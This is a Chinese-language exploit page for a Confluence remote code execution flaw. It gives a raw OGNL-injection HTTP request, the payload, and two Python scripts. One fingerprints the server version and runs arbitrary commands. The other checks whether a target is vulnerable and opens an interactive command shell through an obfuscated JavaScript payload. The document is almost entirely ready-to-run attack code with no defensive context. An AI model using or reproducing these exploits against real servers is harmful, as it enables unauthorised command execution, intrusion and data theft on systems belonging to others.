Confluence远程代码执行漏洞

poc

  1. GET //%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
  2. Host: XX.XX.XX.XX
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Cookie: JSESSIONID=3764D915B037D5A50D8025AA793E990A
  9. Connection: close

payload

  1. /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

exp

  1. import requests
  2. import re
  3. import sys
  4. from bs4 import BeautifulSoup
  5. import urllib3
  6. urllib3.disable_warnings()
  7. def check(host):
  8. r = requests.get(host+"/login.action", verify=False)
  9. if(r.status_code == 200):
  10. filter_version = re.findall("<span id='footer-build-information'>.*</span>",r.text)
  11. if(len(filter_version)>=1):
  12. version = filter_version[0].split("'>")[1].split('</')[0]
  13. return version
  14. else:
  15. return False
  16. else:
  17. return host
  18. def exploit(host, command):
  19. headers = {
  20. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
  21. 'Content-Type': 'application/x-www-form-urlencoded',
  22. 'Accept': '*/*',
  23. }
  24. r = requests.get(host + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
  25. if(r.status_code == 302):
  26. return r.headers['X-Cmd-Response']
  27. else:
  28. return False
  29. if(len(sys.argv) < 3):
  30. print("USE: python3 " + sys.argv[0] + " https://target.com cmd")
  31. print("ex: python3 " + sys.argv[0] + " https://target.com id")
  32. else:
  33. target = sys.argv[1]
  34. cmd = sys.argv[2]
  35. version = check(target)
  36. print("============ GET Confluence Version ============")
  37. if(version):
  38. print("Version: " + version)
  39. else:
  40. print("Version: Not Found")
  41. print(exploit(target, cmd))

image.png

  1. import urllib.parse
  2. import urllib3
  3. import sys
  4. import base64
  5. import requests as req
  6. urllib3.disable_warnings()
  7. def poc(target: str) -> bool:
  8. ognl_expr = """${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Confluence",1)}"""
  9. payload = "/%s/" % (ognl_expr)
  10. try:
  11. resp = req.get(target + "/%s/" % (urllib.parse.quote(payload)), verify=False, allow_redirects=False)
  12. return True if "X-Confluence" in resp.headers.keys() else False
  13. except Exception as e:
  14. return False
  15. def exp(target: str, cmd: str) -> str:
  16. ognl_expr = """${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Confluence",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,114,101,113,61,80,97,99,107,97,103,101,115,46,99,111,109,46,111,112,101,110,115,121,109,112,104,111,110,121,46,119,101,98,119,111,114,107,46,83,101,114,118,108,101,116,65,99,116,105,111,110,67,111,110,116,101,120,116,46,103,101,116,82,101,113,117,101,115,116,40,41,59,13,10,118,97,114,32,99,109,100,61,114,101,113,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,115,101,97,114,99,104,34,41,59,13,10,118,97,114,32,114,117,110,116,105,109,101,61,80,97,99,107,97,103,101,115,46,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,59,13,10,118,97,114,32,101,110,99,111,100,101,114,61,80,97,99,107,97,103,101,115,46,106,97,118,97,46,117,116,105,108,46,66,97,115,101,54,52,46,103,101,116,69,110,99,111,100,101,114,40,41,59,13,10,101,110,99,111,100,101,114,46,101,110,99,111,100,101,84,111,83,116,114,105,110,103,40,110,101,119,32,80,97,99,107,97,103,101,115,46,106,97,118,97,46,117,116,105,108,46,83,99,97,110,110,101,114,40,114,117,110,116,105,109,101,46,101,120,101,99,40,99,109,100,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,41,46,117,115,101,68,101,108,105,109,105,116,101,114,40,34,92,92,65,34,41,46,110,101,120,116,40,41,46,103,101,116,66,121,116,101,115,40,41,41))"))}"""
  17. """
  18. js code:
  19. var req=Packages.com.opensymphony.webwork.ServletActionContext.getRequest();
  20. var cmd=req.getParameter("search");
  21. var runtime=Packages.java.lang.Runtime.getRuntime();
  22. var encoder=Packages.java.util.Base64.getEncoder();
  23. encoder.encodeToString(new Packages.java.util.Scanner(runtime.exec(cmd).getInputStream()).useDelimiter("\\A").next().getBytes())
  24. """
  25. payload = "/%s/" % (ognl_expr)
  26. params = {
  27. 'search': cmd
  28. }
  29. resp = req.get(target + "/%s/" % (urllib.parse.quote(payload)), params=params, verify=False,
  30. allow_redirects=False)
  31. return base64.b64decode(resp.headers.get("X-Confluence", "")).decode()
  32. if __name__ == '__main__':
  33. if len(sys.argv) != 2:
  34. print("Usage: python %s http://example.com/" % sys.argv[0])
  35. exit(0)
  36. target = sys.argv[1]
  37. print("Target: %s" % sys.argv[1])
  38. print("Checking target is vul...")
  39. if not poc(target):
  40. print("[%s] is not vul." % target)
  41. exit(0)
  42. else:
  43. print("[%s] is vul!!!" % target)
  44. while True:
  45. command = input("$ ")
  46. if command == 'q':
  47. print("quit.")
  48. exit(0)
  49. else:
  50. print("Execute command: %s" % command)
  51. print(exp(target, command))